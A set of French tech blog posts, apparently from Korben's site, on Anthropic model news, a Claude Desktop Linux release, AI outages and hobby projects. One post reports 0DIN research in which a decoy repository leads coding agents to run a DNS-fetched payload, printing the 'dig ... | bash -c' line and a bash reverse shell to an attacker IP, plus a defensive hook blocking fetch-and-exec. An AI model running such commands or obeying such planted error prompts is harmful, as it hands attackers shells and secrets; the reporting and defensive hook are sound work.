Mythos et Fable 5 - Anthropic sort du rayon tracteur de Trump

Par : Korben ✨
1 juillet 2026 à 08:00

Bonne nouvelle pour tous les drogués de l'IA que vous êtes ! L'administration Trump a enfin fini par lâcher du lest. Hier soir, le Département du Commerce américain a finalement levé les restrictions d'exportation stupides qui pesaient sur Mythos et Fable 5 , les deux modèles les plus puissants d'Anthropic, après 18 jours (!) de blocage pur et simple !

Et dans la foulée, Anthropic a sorti Sonnet 5, juste après et vous allez voir que les deux sont liés.

Tout commence le 12 juin, lorsque le gouvernement fédéral ajoute Mythos et Fable 5 à sa liste des technologies à exportation contrôlée (les fameux "export controls"). En clair, Anthropic doit théoriquement demander une licence pour les mettre entre les mains de quiconque hors des États-Unis. Sauf qu'appliquer ça à une API accessible en quelques secondes depuis n'importe quel outil, c'est juste impraticable. Alors faute de pouvoir filtrer proprement, Anthropic a coupé l'accès public aux deux modèles, partout, y compris chez elle...

Au final, cette sortie de crise signée Howard Lutnick, le Secrétaire au Commerce, lui a permis d'annoncer qu'Anthropic s'était engagée à "détecter et traiter proactivement les risques de sécurité associés aux modèles, travailler avec diligence avec le gouvernement américain sur les protocoles, les standards et les releases de Mythos, Fable et des modèles à venir, et informer les autorités de toute activité malveillante".

Ça devrait donc être aujourd'hui (le 1er juillet) que l'accès sera restauré sur Claude.ai, Claude Code et la Claude Platform (pour l'API).

Toutefois, selon les experts en cybersécurité qui ont analysé la situation, ce ban ressemblait moins à une mesure de sécurité qu'à un moyen de pression. Une façon pour la Maison Blanche de punir Anthropic pour les critiques publiques de ses cadres sur l'usage politique qui pourrait être fait de l'IA. C'est à prendre évidemment avec des pincettes, mais c'est vrai que le timing et surtout la brutalité de la manœuvre ont beaucoup interrogé.

Ce qui est sûr en tout cas, c'est que la pression concurrentielle, elle, a bien bien joué. Des acteurs asiatiques commencent à sortir des modèles comme GLM 5.2 , Fugu ou encore Tulongfeng qui approchent les capacités de Fable 5 / Mythos, et Washington n'avait vraiment pas d'intérêt à laisser Anthropic avec les pieds et poings liés dans cette course mondiale...

Mais peu importe, ces restrictions auront au moins servi de rappel, à Anthropic comme au reste de la tech US et surtout Européenne, sur qui tient les clés.

Pour comprendre pourquoi Mythos précisément était visé, c'est parce que c'est un modèle cyber-offensif qui est taillé pour repérer et exploiter les vulnérabilités logicielles. Et Fable 5 n'est que sa version publique, bridée par des garde-fous. Une bestiole qu'Anthropic avait d'ailleurs jugée trop dangereuse à publier il y a quelques mois, toujours pour la frime et faire monter le buzz et on dirait que ça leur est revenu dans les dents.

Quant à Sonnet 5 qui a échappé à la restriction, sa fiche technique de sécurité dit que ses capacités cyber sont "significativement inférieures" à celles de Mythos, ce qui le range dans la même catégorie de garde-fous qu'Opus 4.7 et 4.8. Donc ce sont bien les capacités cybersec des modèles qui sont la ligne rouge du gouvernement.

Anthropic présente Sonnet comme le sommet de la classe Sonnet (sans pour autant détrôner Opus ou Mythos), et le vend comme étant proche d'Opus 4.8 en termes de perfs, mais moins cher, avec une fenêtre de contexte d'un million de tokens et le "thinking" adaptatif activé par défaut.

Son tarif officiel est de 3 $ pour un million de tokens en entrée, 15 $ en sortie, (avec une tite promo à 2 $ / 10 $ jusqu'au 31 août). Mais Simon Willison a repéré LE piège dans les docs techniques. Le nouveau tokenizer (le découpeur de texte qui fixe votre facturation) employé par ce modèle fait qu'un même texte consomme environ 30 % de tokens en plus qu'avant. C'est clairement pas un hasard et il y voit une hausse de prix déguisée d'à peu près 30 %. En vrai modèle ne coûte pas plus cher sur le papier mais votre facture montera forcément. À voir si ça vaut le coup...

Bref, si votre stack tient sur du Claude, prévoyez quand même un plan B comme une couche d'abstraction type OpenRouter, ou un open-weights en secours...

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  • Claude Desktop - L'appli officielle débarque enfin sur Linux
    Amis linuxiens, je viens vous quérir d'une charmante nouvelle qui va faire frisoter votre barbe. Anthropic vient de sortir son application Claude Desktop pour Linux, et cette fois c'est une beta officielle, qui plus est, installable directement depuis un dépôt apt maison. Vous y retrouvez donc les mêmes onglets Chat, Cowork et Code que sur macOS et Windows : sessions parallèles , revue visuelle des diffs, terminal et éditeur intégrés, et preview de l'app en direct. C'est le même Claude Code que

Claude Desktop - L'appli officielle débarque enfin sur Linux

Par : Korben ✨
30 juin 2026 à 19:55

Amis linuxiens, je viens vous quérir d'une charmante nouvelle qui va faire frisoter votre barbe. Anthropic vient de sortir son application Claude Desktop pour Linux, et cette fois c'est une beta officielle, qui plus est, installable directement depuis un dépôt apt maison. Vous y retrouvez donc les mêmes onglets Chat, Cowork et Code que sur macOS et Windows : sessions parallèles , revue visuelle des diffs, terminal et éditeur intégrés, et preview de l'app en direct.

C'est le même Claude Code que d'habitude, mais dans une vraie fenêtre de bureau au lieu de votre terminal.

Pour l'installer, il vous faudra Ubuntu 22.04 ou plus récent, ou Debian 12 ou plus, en x86_64 ou arm64. Vous ajoutez la clé de signature et le dépôt d'Anthropic, et vous laissez apt bosser :

sudo curl -fsSLo /usr/share/keyrings/claude-desktop-archive-keyring.asc https://downloads.claude.ai/claude-desktop/key.asc
echo "deb [arch=amd64,arm64 signed-by=/usr/share/keyrings/claude-desktop-archive-keyring.asc] https://downloads.claude.ai/claude-desktop/apt/stable stable main" | sudo tee /etc/apt/sources.list.d/claude-desktop.list
sudo apt update && sudo apt install claude-desktop

Et voilà !

L'intérêt de passer par le dépôt plutôt que par un fichier, c'est que les mises à jour arrivent avec vos apt upgrade habituels, sans rien re-télécharger à la main.

Y'a bien un .deb à récupérer sur claude.com/download si vous ne pouvez pas utiliser le dépôt, mais celui-là ne se mettra jamais à jour tout seul.

Alors cette news pourrait vous étonner mais jusqu'ici, pour avoir Claude Desktop sur Linux, fallait passer par des projets communautaires pas toujours très bien maintenus. Le plus costaud et le plus connu, c'était aaddrick/claude-desktop-debian qui pourtant n'était pas magique puisqu'il téléchargeait l'installeur Windows, en extrayait l'app Electron (le fameux app.asar), virait les modules natifs Windows-only pour les remplacer par des stubs Linux, recompilait node-pty, patchait les verrous de plateforme et repackageait tout ça en .deb.

Vous faisiez donc tourner le JavaScript prévu pour Windows, avec une bonne dose de bricolage et bizarrement ça marchait bien. Mais bon ça restait un repack par-dessus un binaire qui n'était pas conçu pour le manchot...

Toutefois, une beta restant une beta, le Computer Use (le contrôle de votre écran et de vos applis) n'est pas dispo ni la dictée vocale. Faudra passer par le CLI pour ça.

Et surtout, Anthropic ne couvre pour le moment que les distributions basées sur Debian. Pas de Fedora, RHEL, Arch ou Nix, alors que le projet communautaire balançait des .rpm, des AppImage, un paquet AUR et un flake Nix. Snif...

Donc oui, l'app officielle débarque, mais elle boite un peu. Maintenant, j'sais pas vous mais je préfère quand même largement le CLI Claude Code à cette app et elle a le mérite de très bien fonctionner sur bien plus de distributions.

En attendant, si vous êtes sur Debian ou Ubuntu, l'install prend deux minutes et la doc complète est par ici .

PS : Et au moment où je finalise cet article, je vois qu' Anthropic a sorti Claude Science qui promet d'accompagner la recherche scientifique... Je vous laisse aller voir ça, moi je crois que j'ai assez parlé d'eux pour auj. ^^

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  • Un dépôt GitHub trop propre suffit à pirater Claude Code
    Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant. Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux ! Le pire, c'est que la faille n'est pas réellement da

Un dépôt GitHub trop propre suffit à pirater Claude Code

Par : Korben ✨
30 juin 2026 à 09:18

Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.

Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !

Le pire, c'est que la faille n'est pas réellement dans Claude Code mais plutôt dans la serviabilité du modèle.

Le dépôt utilisé par les chercheurs pour leurs tests, se présente comme "Axiom", un faux outil de déploiement cloud avec un README propre et des instructions banales : pip3 install -r requirements.txt puis python3 -m axiom init.

Le package Python est conçu pour refuser de démarrer tant qu'il n'est pas initialisé, donc quand l'agent essaie de lancer l'appli, il se prend un RuntimeError parfaitement normal qui lui dit gentiment "lance python3 -m axiom init". Et l'agent, en bon élève, lit le message d'erreur et exécute la commande de récupération tout seul. Sauf que cette commande déclenche scripts/setup.sh, qui lui, va chercher sa vraie charge utile ailleurs.

Et ailleurs, ça veut dire dans le DNS puisque le script fait ça :

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

En fait, ça résout un enregistrement TXT contrôlé par l'attaquant, récupère une chaîne en base64, la décode et l'exécute. Et au bout, ce qu'on retrouve, c'est un classique reverse shell bash -i >& /dev/tcp/IP-attaquant/4443 0>&1 qui ouvre un terminal interactif tournant sous votre propre compte utilisateur.

À partir de là, tout ce que vous pouvez faire, l'attaquant le peut aussi : lire vos fichiers .env, siphonner ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, planter une clé SSH ou un cron pour rester au chaud.

C'est un principe de poupées russes, ce qui fait que l'analyse statique du repo ne voit qu'une résolution DNS, que le monitoring réseau n'enregistre qu'une banale requête de nom et que l'agent IA, lui, croit exécuter une étape de setup déjà validée. Aucun système de sécurité ne regarde les trois ensemble. Et cerise sur le gâteau, le payload est interchangeable... Suffit à l'attaquant de mettre à jour son enregistrement DNS et de changer ce que la prochaine victime exécute, sans jamais toucher au dépôt.

L'attaque ne vise d'ailleurs pas que Claude Code. 0DIN a vérifié que Cursor et Gemini CLI tombent dans le même panneau, parce que le piège exploite un comportement commun à tous les agents codeurs : ils lisent les erreurs et tentent de les corriger seuls. On est dans la lignée de cette bibliothèque Java qui piégeait les IA codeuses , sauf qu'ici on passe du sabotage à la prise de contrôle totale. Et ça arrive après les deux failles du bac à sable de Claude Code donc autant dire que la surface d'attaque des agents s'élargit à vue d'œil.

Pour vous protéger, le réflexe de base est simple : un script de setup dans un repo que vous ne connaissez pas, c'est du code non approuvé, point. Vous le lisez avant, ou vous le lancez dans un conteneur jetable sans vos secrets dans l'environnement.

Mais on peut faire mieux que de juste rester vigilant. Moi j'ai mis en place différents outils qui utilisent le hook PreToolUse de Claude Code qui inspecte notamment chaque commande avant qu'elle ne soit lancée et la refuse si elle sent le fetch-and-exec. Voici comment faire. Étape 1, vous créez un petit ~/.claude/hooks/block-fetch-exec.sh :

#!/usr/bin/env bash
input=$(cat)
cmd=$(printf '%s' "$input" | jq -r '.tool_input.command // ""')
if printf '%s' "$cmd" | grep -Eq '(curl|wget|dig|nslookup)[^|]*\|[[:space:]]*(bash|sh|zsh|python3?)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Bloqué : fetch-and-exec détecté."
}
}'
else
exit 0
fi

Vous le rendez exécutable avec chmod +x, puis vous le déclarez dans ~/.claude/settings.json et c'est plié :

{
"hooks": {
"PreToolUse": [
{ "matcher": "Bash", "hooks": [
{ "type": "command", "command": "$HOME/.claude/hooks/block-fetch-exec.sh" }
]}
]
}
}

À partir de là, tout curl ... | bash ou dig ... | bash se fait jeter avant de s'exécuter. Attention quand même, un hook ne voit que la commande de surface. Comme le python3 -m axiom init de l'attaque planque son dig | bash à l'intérieur, ce filet-là ne l'attrape pas tout seul. C'est pour ça que le vrai pare-feu reste la meilleure des isolation.

Un outil comme LuLu (gratuit et open source) qui vous alerte sur les connexions sortantes inattendues, ou carrément faire tourner l'agent dans un conteneur jetable c'est le top ! Comme ça, même si la commande du reverse shell part, ce dernier n'arrivera jamais à joindre son serveur.

Ce qui serait l'idéal, c'est que les agents montrent d'eux-mêmes ce qu'une commande de setup va réellement exécuter, y compris le contenu de tout script qu'elle invoque et tout ce que ce script récupère à l'exécution. En attendant, méfiez-vous des dépôts un peu trop propres, c'est peut-être un appât.

Source : 0DIN (Mozilla Zero Day Investigative Network)

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  • Dropbox se branche à Claude Code et lui permet de lire vos fichiers
    Dropbox vient de sortir un plugin pour Claude Code , et leur idée c'est de pouvoir brancher vos fichiers Dropbox directement dans vos sessions de dev Claude Code / Cowork. Alors je me suis demandé à quoi ça pouvait bien servir et voici ce que j'ai compris. Une fois que le plugin est en place, ça permet à Claude Code d'aller piocher dans votre Dropbox vos docs techniques, vos cahiers des charges, votre code...etc pour s'en faire du contexte. Tout devient de la matière fraiche pour corriger ou gén

Dropbox se branche à Claude Code et lui permet de lire vos fichiers

Par : Korben ✨
26 juin 2026 à 18:22

Dropbox vient de sortir un plugin pour Claude Code , et leur idée c'est de pouvoir brancher vos fichiers Dropbox directement dans vos sessions de dev Claude Code / Cowork.

Alors je me suis demandé à quoi ça pouvait bien servir et voici ce que j'ai compris. Une fois que le plugin est en place, ça permet à Claude Code d'aller piocher dans votre Dropbox vos docs techniques, vos cahiers des charges, votre code...etc pour s'en faire du contexte. Tout devient de la matière fraiche pour corriger ou générer du code et quand c'est fini, ce qui est produit peut être à son tour stocké sur Dropbox.

Le plugin sait récupérer les fichiers en fonction de leur nom, de mots clés, de leur emplacement et bien sûr en fonction de leurs méta données. Même vos liens partagés il sait comment les gérer. Bref, il fait tout simplement le passe-plats entre tout le bordel que vous stockez sur Dropbox et Claude Code.

Cela dit, gardez la tête froide parce que tout ce que l'IA lit part sur les serveurs d'Anthropic pour être traité. Donc évitez quand même de le lâcher sur le dossier qui contient vos contrats, vos mots de passe ou vos données clients. Lui autoriser juste un dossier dédié avec ce que vous acceptez de partager, ce sera plus sain.

Pour l'installer, ça se passe dans Claude Code sur le web. Vous filez dans le menu Personnaliser, Connecteurs puis vous cherchez Dropbox en parcourant les plugins et vous cliquez sur ajouter. Une auth OAuth plus tard (vos identifiants Dropbox habituels), c'est branché. Un petit /reload-plugins et le plugin s'active alors dans la session en cours.

En plus de ce plugin, Dropbox propose également un serveur MCP classique en ligne de commande qui est un peu plus souple et surtout peut se brancher dans Cursor, Claude Desktop ou Devin.

Un bémol quand même, c'est pas open bar... sniiif. Eh oui, Dropbox plafonne tout ça à 5 Mo par fichier lu ou créé via l'intégration, et le contenu pondu par Claude ne se sauvegarde qu'en texte (.txt, .md, .html, .py), et pas en image ni en PDF. Quant aux limites de débit de l'API, on ne les connaît pas.

Bref, pour les gros fichiers ou les binaires, faudra donc passer par autre chose.

Si vous vivez dans Claude Code et que votre vie est rangée dans Dropbox, ça vaut peut-être le coup de jeter un œil ici.

  • ✇Korben
  • OS9Map - OpenStreetMap sur votre Mac de 1999
    Un dev prénommé Yllan vient de sortir OS9Map , une application qui affiche OpenStreetMap directement sur Mac OS 9. Oui, je parle bien du système d'exploitation de 1999 qui ronronnait sur nos vieux PowerPC. Pour l'installer, c'est un bon vieux fichier .sit à décompresser (StuffIt Expander sur la machine d'époque, The Unarchiver si vous passez par un Mac moderne), et il vous faudra un PowerPC sous OS 9 avec 16 Mo de RAM (32 recommandés) et une connexion qui passe par Open Transport. Une fois lancé

OS9Map - OpenStreetMap sur votre Mac de 1999

Par : Korben ✨
26 juin 2026 à 08:14

Un dev prénommé Yllan vient de sortir OS9Map , une application qui affiche OpenStreetMap directement sur Mac OS 9. Oui, je parle bien du système d'exploitation de 1999 qui ronronnait sur nos vieux PowerPC.

Pour l'installer, c'est un bon vieux fichier .sit à décompresser (StuffIt Expander sur la machine d'époque, The Unarchiver si vous passez par un Mac moderne), et il vous faudra un PowerPC sous OS 9 avec 16 Mo de RAM (32 recommandés) et une connexion qui passe par Open Transport. Une fois lancé, vous avez alors une recherche d'adresses qui tape dans Nominatim, le moteur de géocodage d'OpenStreetMap, et vous pouvez mettre vos endroits favoris en signets pour y revenir d'un clic depuis le menu. Bref, un vrai petit client carto !

Et c'est là que je trouve ça beau puisque 16 Mo de RAM pour afficher une carte mondiale interactive, c'est très peu. Pour vous situer, un seul onglet Chrome aujourd'hui c'est plusieurs centaines de Mo, donc faut saluer l'exploit d'Yllan.

Maintenant si l'idée d'une carte minimaliste vous parle, dans le genre bien dépouillé j'avais aussi joué avec MapSCII qui balance le monde entier en ASCII dans un terminal. OS9Map joue dans une autre cour, mais on retrouve un peu la même philosophie.

Le truc qui rend tout ça possible, c'est évidemment OpenStreetMap qui propose toutes ses données en accès libre ! Alors rien que pour ça, merci à OpenStreetMap et ses contributeurs.

Et puis si vous n'avez plus de PowerPC qui traîne au grenier, vous pouvez quand même goûter à OS 9 dans votre navigateur via Infinite Mac .

OS9Map est en version 1.0.0 et se télécharge gratuitement sur le site de yllan .

  • ✇Korben
  • Pannes d'IA - Les coupures ont été multipliées par 8 en un an
    Vous vous souvenez quand ChatGPT tombait trop souvent en rade et que ça vous faisait juste lever les yeux au ciel avant d'aller vous chercher un café en trainant de la pantoufle ?? Bah cette époque est en train de se terminer mes amis. Les analystes d'Ookla viennent d'éplucher 471 jours de données Downdetector aux États-Unis, ce qui représente environ 3,7 millions de signalements sur les grandes plateformes IA (ChatGPT, Claude, Gemini, Copilot) + les deux géants du cloud qui les font tourner, AW

Pannes d'IA - Les coupures ont été multipliées par 8 en un an

Par : Korben ✨
25 juin 2026 à 22:41

Vous vous souvenez quand ChatGPT tombait trop souvent en rade et que ça vous faisait juste lever les yeux au ciel avant d'aller vous chercher un café en trainant de la pantoufle ??

Bah cette époque est en train de se terminer mes amis.

Les analystes d'Ookla viennent d'éplucher 471 jours de données Downdetector aux États-Unis, ce qui représente environ 3,7 millions de signalements sur les grandes plateformes IA (ChatGPT, Claude, Gemini, Copilot) + les deux géants du cloud qui les font tourner, AWS et Azure et le constat est sans appel : Du côté des applis IA, les grosses journées de panne ont été multipliées par 8 en un an. Y'en a eu 6 au premier trimestre 2025, et 51 sur le même trimestre en 2026.

Et le truc qui a changé entre l'année dernière et aujourd'hui, c'est que l'IA n'est plus un gadget optionnel. Vous l'avez branchée dans votre code, vos analyses, votre support client, vos petits automatismes du quotidien... Du coup une session qui se coupe ou une tâche d'agent qui se fige, bah ça pète du vrai boulot qui tourne à l'intérieur de vrais process métier.

Et à mon grand désarroi, le mauvais élève, c'est Claude puisqu'il concentre à lui seul 39 de ces 51 journées noires, là où Gemini en compte 7, Copilot 3 et ChatGPT 2.

Toutefois, ce chiffre est à prendre avec un peu de nuance car début 2025, Claude ne générait quasiment aucun signalement sur Downdetector, pour la simple et bonne raison que peu de gens l'utilisaient. Puis l'usage a décollé (Claude Code en tête, avec un chiffre d'affaires annualisé d'Anthropic qui bondit de 14 à 47 milliards de dollars entre février et mai), et les pannes avec.

Rien que durant le mois de mars 2026, Claude a totalisé presque 3 fois plus de signalements qu'en février. Ce n'est pas forcément qu'il est devenu moins fiable, mais c'est juste qu'il joue maintenant dans une autre cour, avec beaucoup (pardon : BEAUCOUP) plus de monde qui tape trèèèès fort dessus.

À l'inverse, ChatGPT a vu sa médiane mensuelle d'erreurs baisser entre avril 2025 et avril 2026, alors même que l'usage de Codex partait dans la stratosphère sur la même période. Plus d'utilisateurs et pourtant moins de bruit de fond, ça veut dire qu'OpenAI a sérieusement bossé la tuyauterie pour proposer un service fiable.

Mais quand une de ces plateformes tombe, ça ne veut pas forcément dire que la panne vient du modèle lui-même. En fait le problème se loge très souvent dans la couche produit que vous voyez (login, routage, gestion de la charge, files d'attente), mais également dans le cloud qui héberge tout ce petit monde, ou dans la couche d'accès (DNS, passerelles web, authentification). Bref, votre prompt qui refuse de répondre, ça peut en réalité cacher 10 causes complètement différentes.

L'exemple le plus parlant, c'est la grosse panne d'AWS du 20 octobre 2025 , où le système de gestion DNS est parti en toupie durant une grande partie de la journée, provoquant de nombreuses coupures dans tout un tas de services. Et 9 jours plus tard, c'était au tour d'Azure de planter. Ce ne sont pas des services IA à proprement dit mais comme ils en hébergent aussi, et bien ça se répercute sur les services.

Et c'est ça tout le piège dans lequel on s'est confortablement installé car derrière nos Claude Code, nos ChatGPT et compagnie, se cache des services essentiels détenus par une poignée de boîtes. La prochaine grosse coupure de Claude ou de ChatGPT pourrait débuter à cause d'un pauvre GPU qui lâche, d'une mauvaise config poussée en production un vendredi soir, d'un DNS qui déraille ou encore d'une simple règle de quotas foireuse.

Et côté utilisateur lambda, il n'y a malheureusement pas grand-chose à faire à part patienter en gardant un œil sur les pages de statut des services ( status.anthropic.com , status.openai.com et compagnie) pour savoir si ça vient de vous ou d'eux.

Maintenant, je pense que si vous montez des workflows sérieux à base d'agents sur ces outils, la bonne question n'est pas de savoir si le service est en ligne. C'est plutôt de savoir quelles parties de votre boulot dépendent de quelle couche, et de ce qui va vraiment se passer le jour où l'une d'elles va se mettre à tousser sérieusement. C'est ce que les équipes IT ont appris à la dure récemment avec les grosses pannes Microsoft 365 , sauf qu'ici la dépendance est encore plus profonde.

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  • Distillation - Comment Alibaba aurait aspiré l'IA Claude
    Anthropic vient d'accuser frontalement Alibaba d'avoir siphonné les capacités de son IA Claude. Et le plus dingue dans cette histoire, c'est la méthode qui aurait été employée. Car non, rassurez-vous, personne n'a piraté les serveurs d'Anthropic, personne n'a volé le code source de Claude, et personne n'a mis la main sur les fameux "poids" du modèle. En fait, les opérateurs (les bots quoi) liés à Alibaba ont juste discuté avec Claude. Et pas qu'un peu puisqu'ils ont effectué 28,8 millions d'écha

Distillation - Comment Alibaba aurait aspiré l'IA Claude

Par : Korben ✨
25 juin 2026 à 09:24

Anthropic vient d'accuser frontalement Alibaba d'avoir siphonné les capacités de son IA Claude. Et le plus dingue dans cette histoire, c'est la méthode qui aurait été employée.

Car non, rassurez-vous, personne n'a piraté les serveurs d'Anthropic, personne n'a volé le code source de Claude, et personne n'a mis la main sur les fameux "poids" du modèle. En fait, les opérateurs (les bots quoi) liés à Alibaba ont juste discuté avec Claude. Et pas qu'un peu puisqu'ils ont effectué 28,8 millions d'échanges durant 6 semaines !!

Alors vous demandez sûrement comment on "vole" une IA juste en lui causant ? Hé bien c'est une technique qui s'appelle la distillation et que je vais essayer de vous expliquer.

En fait, quand vous posez une question à Claude, il vous sort en général une réponse super bien formulée et complète. Et cette réponse, c'est de l'or en barre pour les copieurs car elle contient, en version condensé, le savoir et le raisonnement du modèle. Du coup, si vous récupérez des millions de ces paires question-réponse, vous vous retrouvez au bout d'un moment avec un énorme jeu de données. Et avec ce jeu de données, vous pouvez alors entraîner votre propre modèle, plus petit, à imiter les réponses du plus balèze.

En gros, le modèle costaud joue le prof, et votre petit modèle joue l'élève. Ce dernier ne pige pas forcément comment le prof réfléchit, mais à force de recopier tout ce que l'autre lui dit, il finit par lui ressembler beaucoup. Les chercheurs appellent ça la technique du teacher-student et la variante utilisée ici chez Alibaba, c'est la distillation "black-box". En mode black-box (boite noire quoi...), y'a pas besoin de cracker le modèle puisque ses réponses suffisent. Et c'est pour ça que ça marche même quand le modèle d'en face est fermé et accessible seulement via une API.

Reste un petit détail quand même... Y'a aucune API au monde qui vous laisse balancer 28 millions de requêtes peinard depuis un seul compte. Y'a des quotas, des limites, des systèmes anti-abus de partout. Ils ont donc du créer environ 25 000 faux comptes pour noyer le poisson, comme ça chaque compte fait sa petite part du boulot, le trafic ressemble à des milliers d'utilisateurs lambda, et hop, ni vu ni connu on chope la data ! C'est ce maquillage à grande échelle qui fait dire à Anthropic que c'est la plus grosse attaque du genre qu'ils aient jamais vue, et menée selon eux par des opérateurs liés à Alibaba et à son labo Qwen .

Et c'est loin d'être la première fois, souvenez vous, puisqu'en février, Anthropic avait déjà repéré le même manège chez DeepSeek (150 000 échanges), Moonshot AI (3,4 millions) et MiniMax (13 millions). Avant ça, début 2025, OpenAI soupçonnait aussi déjà DeepSeek de piocher dans les réponses de ses modèles, et décrivait des routeurs tiers planqués pour contourner ses blocages. Bref, c'est toujours le même schéma. Le copiage d'IA a même ses variantes maison, comme on l'a vu lors de ce scandale Pangu chez Huawei , qui lui est resté entre acteurs chinois.

Et le vrai souci pour Anthropic, OpenAI et les autres, c'est qu'ils ne peuvent quasiment rien y faire. Une IA, son produit, c'est justement ses réponses. Vous ne pouvez donc pas vendre des réponses tout en empêchant les gens de les lire et de les stocker. Les labos planchent bien sur des parades (watermarking des sorties, réécriture des traces de raisonnement pour brouiller les pistes, ce genre de trucs), mais pour l'instant ça reste de la rustine de fortune.

Après faut pas croire non plus que la distillation soit "sale" par nature. C'est une technique hyper courante et parfaitement légit pour fabriquer des petits modèles rapides qui tournent sur votre laptop. Mais ce qui change tout ici, c'est le consentement car distiller votre propre gros modèle, nickel mais distiller celui du voisin en douce via des faux comptes, c'est moche quand même.

Maintenant, moi ce que je n'oublie pas c'est que ces modèles géants se sont gavés en avalant la totalité du web sans rien demander à personne, alors les voir se faire pomper à leur tour pour finir dans des modèles open source, je vois ça comme un juste retour de karma...

Reste à voir ce que les tribunaux en penseront...

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  • SAMDUO propose une batterie domestique ultra fine
    D'habitude, une batterie domestique, c'est un gros bloc qu'on planque à la cave ou au garage. SAMDUO prend le contre-pied avec sa gamme Nex, présentée cette semaine à Amsterdam, et veut en faire un objet qu'on assume de laisser à la vue de tous. Le modèle E6000 ressemble à un grand cadre fixé au mur, 11,9 cm d'épaisseur seulement, soit la plus fine du monde d'après la marque. Sa variante E6000H abandonne le mur pour un cube de la taille d'un micro-ondes, à glisser dans un coin. Même capacité. De

SAMDUO propose une batterie domestique ultra fine

20 juin 2026 à 11:47

D'habitude, une batterie domestique, c'est un gros bloc qu'on planque à la cave ou au garage. SAMDUO prend le contre-pied avec sa gamme Nex, présentée cette semaine à Amsterdam, et veut en faire un objet qu'on assume de laisser à la vue de tous.

Le modèle E6000 ressemble à un grand cadre fixé au mur, 11,9 cm d'épaisseur seulement, soit la plus fine du monde d'après la marque. Sa variante E6000H abandonne le mur pour un cube de la taille d'un micro-ondes, à glisser dans un coin. Même capacité. Deux façons de la ranger.

Derrière SAMDUO se cache un industriel chinois quasi inconnu il y a encore six mois, qui arrive en Europe avec de gros moyens. Les deux E6000 stockent 6 kWh et visent le tarif de 1999 euros, avec une sortie française au troisième trimestre.

Vient ensuite la question du branchement. Pas besoin de toucher à vos panneaux, la batterie se greffe sur le circuit électrique de la maison et récupère le surplus produit dans la journée. On appelle ça du couplage en courant alternatif, et le bon côté, c'est que ça fonctionne avec à peu près n'importe quelle installation déjà posée.

Côté France, le souci, c'est que la batterie doit savoir en temps réel ce que consomme la maison. SAMDUO a prévu un petit boîtier pour ça, mais il est pensé pour les compteurs néerlandais pour le moment. Chez nous, il faudra ajouter un module dans le tableau électrique.

Pour ceux qui partent de zéro, il y a aussi la P2800 Pro, plus petite avec ses 2,73 kWh extensibles jusqu'à 16,41 kWh, mais qui se relie directement aux panneaux par quatre entrées dédiées. Une approche plus classique, au tarif encore tenu secret.

On a pu jeter un œil à l'application, et c'est propre. Elle affiche en direct ce qui entre et ce qui sort, jongle avec les heures creuses chez 800 fournisseurs européens dont EDF, mais l'API ouverte n'est pas encore prête.

Si tout le monde se précipite sur ces batteries, c'est que revendre son électricité est de moins en moins rentable, même en France. Les Pays-Bas, eux, où nous étions pour le lancement de la marque avec l'ami Korben, suppriment leur système de revente avantageux dès 2027.

En tous cas le pari du design est réussi. À 2000 euros pièce, par contre, il faudra quelques années avant de le rentabiliser.

***Mise à jour : ***

Reste une donnée qui a son importance et qu'on aurait dû préciser : la puissance de sortie. En fonctionnement normal, branchée sur le réseau, la batterie ne restitue que 800 W, une limite imposée par la réglementation plug-and-play. C'est suffisant pour lisser une consommation de fond, beaucoup moins pour encaisser un gros appel de puissance ponctuel. Le chiffre de 2600 W qu'on voit passer correspond à la charge, pas à la décharge au quotidien. Seul le mode secours, en cas de coupure, débride la sortie jusqu'à 2600 VA pour alimenter l'essentiel de la maison.

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  • Windows NT sur GameCube - Parce que pourquoi pas
    La GameCube, on la connaît pour avoir fait tourner la meilleure version de Smash Bros et pour son look de petit cube vaguement "rectangulaire". Mais on ne la connait pas vraiment pour faire tourner un système d'exploitation de bureau du milieu des années 90. Et pourtant, une bande de bidouilleurs emmenée par Rairii (alias Wack0), épaulé par NTx86 et stonedDiscord, s'est amusée à virer les jeux pour loger un vrai Windows NT là-dedans. Oui, le vrai NT de Microsoft. Merveilleux non ? Et le plus be

Windows NT sur GameCube - Parce que pourquoi pas

Par : Korben ✨
19 juin 2026 à 09:29

La GameCube, on la connaît pour avoir fait tourner la meilleure version de Smash Bros et pour son look de petit cube vaguement "rectangulaire". Mais on ne la connait pas vraiment pour faire tourner un système d'exploitation de bureau du milieu des années 90.

Et pourtant, une bande de bidouilleurs emmenée par Rairii (alias Wack0), épaulé par NTx86 et stonedDiscord, s'est amusée à virer les jeux pour loger un vrai Windows NT là-dedans. Oui, le vrai NT de Microsoft.

Merveilleux non ?

Et le plus beau, c'est que ce n'est même pas de l'émulation, c'est carrément un portage natif. Le truc que j'ignorais, c'est qu'à une époque Microsoft avait sorti une version PowerPC de Windows NT, du temps où le système supportait encore des architectures un peu exotiques. Or la GameCube tourne justement sur un processeur PowerPC, le fameux Gekko.

Les deux étaient donc faits pour se rencontrer, et il ne manquait qu'un type assez taré pour les marier. Le projet s'appelle entii-for-workcubes , et il ne s'arrête pas à la GameCube. Vous pouvez aussi le booter sur une Wii, sur une Wii Mini (qui réclame quand même un petit hardmod pour la carte SD), et même dans le mode vWii de la Wii U.

